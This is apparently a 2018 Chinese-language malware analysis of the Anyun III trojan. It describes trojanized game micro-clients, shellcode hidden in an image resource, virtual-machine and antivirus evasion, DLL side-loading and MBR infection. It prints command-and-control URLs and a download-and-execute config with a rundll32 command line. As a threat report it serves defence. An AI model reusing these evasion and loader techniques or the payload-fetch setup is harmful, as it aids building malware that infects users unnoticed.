暗云Ⅲ木马传播感染分析 | xxx暗云Ⅲ木马传播感染分析 – xxx
菜单

暗云Ⅲ木马传播感染分析

七月 21, 2018 - 腾讯联合实验室

背景:

通过对暗云木马持续追踪分析,腾讯电脑管家发现多个下载暗云木马的恶意程序。经详细分析,此类恶意程序通过对正常的赤月传说传奇霸业等游戏微端进行patch,进而伪装成游戏通过各大下载站的下载器等多种传播渠道进行海量推广。

具体分析恶意赤月传说微端后,发现无论是patch方式,还是内部的shellcode,与暗云木马一致,也就是说可以确定,暗云木马的开发者与恶意游戏微端的开发者是同一伙人。

暗云Ⅲ木马传播感染分析

暗云Ⅲ木马传播感染分析

1.传播暗云木马的恶意微端安装包及下载器

暗云Ⅲ木马传播感染分析

2. 安装后的恶意文件

样本概况:

weblander.exe

md5

***dea3605878631b8feeeb53bfb5b17

***94d7d60f560c0889cebcb5ab53c11

暗云Ⅲ木马传播感染分析

3. 恶意木马签名

详细分析:

木马使用patch正常游戏微端的方式将shellcode捆绑到正常程序并添加数字签名后进行推广传播。如下图所示为第一个被patch位置。

暗云Ⅲ木马传播感染分析

4. 第一个被patch文件位置,右侧为木马

暗云Ⅲ木马传播感染分析

5. patch前的代码

暗云Ⅲ木马传播感染分析

6. patch后的代码

修改其中的一个call到第一段shellcode位置,使得第一段shellcode1得以执行。

shellcode1行为:

如下图为第二个被patch位置,存放的是shellcode1,其功能是加载被替换的资源。该资源文件原本是一张png图片,木马将其替换成一张尾部附有大量shellcode的图片,木马加载资源后直接执行该shellcode,下面称其为shellcode2。此外,执行完一系列操作后,木马会继续回到原来的位置执行代码,不影响微端的功能。

暗云Ⅲ木马传播感染分析

7. 第二个被patch的文件位置

暗云Ⅲ木马传播感染分析

8. patch处的反汇编代码

暗云Ⅲ木马传播感染分析

9.patch处的反汇编代码

暗云Ⅲ木马传播感染分析

10. 资源中的图片尾部被附上数据

暗云Ⅲ木马传播感染分析

11. 被附上数据的资源图片

暗云Ⅲ木马传播感染分析

12. shellcode会加载资源,提取图片尾部的附加数据

shellcode2行为:

shellcode2的格式与暗云木马完全一致,均为获取RtlDecompressBuffer函数地址,并调用加压其后数据,得到新的shellcode3并调用。

暗云Ⅲ木马传播感染分析

13. shellcode头部反汇编代码

暗云Ⅲ木马传播感染分析

14. shellcode2代码,解压shellcode3

shellcode3行为:

shellcode3的功能是加载其后的内存PE1文件。

暗云Ⅲ木马传播感染分析

15shellcode3代码,加载其后的PE

PE文件分析:

PE文件会对各种条件做判断,如果符合条件才会下载暗云感染程序到本地安装执行。这些条件包括:

1)安装包文件名格式,必须包含两个下划线和一个点,最后一个段是其推广渠道号

2)通过WMI查询磁盘名称,检测虚拟机

3)通过WMI查询进程列表,检测是否位于网吧

4)通过WMI检测杀毒软件

5)通过目录下的ini判断是否是第一次运行,只有第一次运行才会下载

条件判断合格后,将获取到的信息上传到云端,并从云端拉取配置信息:

http://c2tongji.b5156.com:89/stats.php?m=08-00-**-**-**-**&uid=b42be3fd-****-4338-****-d6fd64eb9576&hid=48DC0EC2&channelid=b108&p=9377_hyaz2a8_b108.exe&tick=26C717C1228272B9AC3A9E392CAD0721&pq=0&p3=0

该信息主要包括mac,硬盘序列号,用户id、取到号、文件名等

拉到的配置信息为:

[Update] Version=2 Url=http://update.nj***.com:8089/config/LDrvSvc.zip CmdLine=rundll32.exe LDrvSvc.dll,RundllInstall Dir=%appdata%/LDrvSvc

随后进行下载,并通过rundll 调用其中的驱动人生的LDrvSvc.dll进行安装,该dll自带安装功能。

暗云Ⅲ木马传播感染分析

16. ini文件中提取安装包文件名,从安装包文件名中提取渠道号等信息

暗云Ⅲ木马传播感染分析

暗云Ⅲ木马传播感染分析

17. ini文件里读取配置,确定是否是第一次运行

暗云Ⅲ木马传播感染分析

18. 检测虚拟机

暗云Ⅲ木马传播感染分析

19. 检测是否网吧环境

暗云Ⅲ木马传播感染分析

20. 检测安全软件

暗云Ⅲ木马传播感染分析

21. 上传mac、渠道号等信息

暗云Ⅲ木马传播感染分析

暗云Ⅲ木马传播感染分析

22. 接收服务器返回的数据

执行完成后会继续启动游戏微端,用户完全无法察觉:

暗云Ⅲ木马传播感染分析

23. 启动后的界面,可正常游戏

LDrvSvc.zip感染MBR过程分析

LDrvSvc.zip被解压后,rundll32调用ldrvsvc.dll执行安装,该dll是驱动人生的服务安装dll,能够把当前目录所有文件拷贝到参数指定的目录,并创建系统服务,启动ldrvsvc.dll

样本概况:

暗云Ⅲ木马传播感染分析

24. LDrvSvc.zip中的文件列表信息

详细分析:

ldrvsvc.dll启动后,会加载同目录下的DtlCrashCath.dll等支持库文件,而DtlCrashCath.dll文件则是被替换成木马文件,从而实现白加黑利用。

暗云Ⅲ木马传播感染分析

25. 各个文件属性描述

启动:

LDrvSvc.dll服务被加载后会加载DtlCrashCatch.dll以及其他几个支持库文件。DtlCrashCatch.dll是被恶意patch过的文件。

第一个patch位置如下图,被patchcall 10001a64,进而执行到10001a64

暗云Ⅲ木马传播感染分析

26.第一个被patch的文件位置

暗云Ⅲ木马传播感染分析

27. patch处的代码

第二个patch位置为10001a64,其功能是加一个偏移跳转到下一个patch位置

暗云Ⅲ木马传播感染分析

28. 第二处被patch的文件位置

暗云Ⅲ木马传播感染分析

29. 第二处被patch的文件位置

0x1000D4F4 + 0x11395 = 0x1001E889

第三个patch位置为一段shellcode1,其功能是解密指定尾部数据到一个共享内存,并执行解密后的shellcode2

暗云Ⅲ木马传播感染分析

30. shellcode1反汇编代码

暗云Ⅲ木马传播感染分析

31. Patch前后文件对比

shellcode2的格式与暗云木马完全一致,均为获取RtlDecompressBuffer函数地址,并调用加压其后数据,得到新的shellcode3并调用

暗云Ⅲ木马传播感染分析

32.shellcode代码

shellcode3的功能是加载其后的内存PE1文件

暗云Ⅲ木马传播感染分析

33.shellcode代码

PE1文件行为:

PE1文件的功能为sleep3分钟后从云端下载配置文件,配置文件URL为:

http://www.2t**.com/upcfg.db,其格式与暗云配置文件相似,可确定为暗云作者开发

暗云Ⅲ木马传播感染分析

34. PE代码

暗云Ⅲ木马传播感染分析

35. 从云端下载配置文件upcfg.db

下载完配置文件,进行解密,解密算法与暗云中解密配置文件的算法相同,解密后判断前4字节是否为0xA5A5A5A5,是的话调用其后的shellcode1

暗云Ⅲ木马传播感染分析

36. 解密配置文件,得到shellcode并执行

shellcode1功能是RtlDecompressBuffer其后的数据得到shellcode2,并调用

暗云Ⅲ木马传播感染分析

37.shellcode1行为

shellcode2的功能是内存展开其后的PE2文件

暗云Ⅲ木马传播感染分析

38. shellcode2代码,其功能是内存加载PE2

PE2文件行为:

进行暗云MBR感染

暗云Ⅲ木马传播感染分析


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51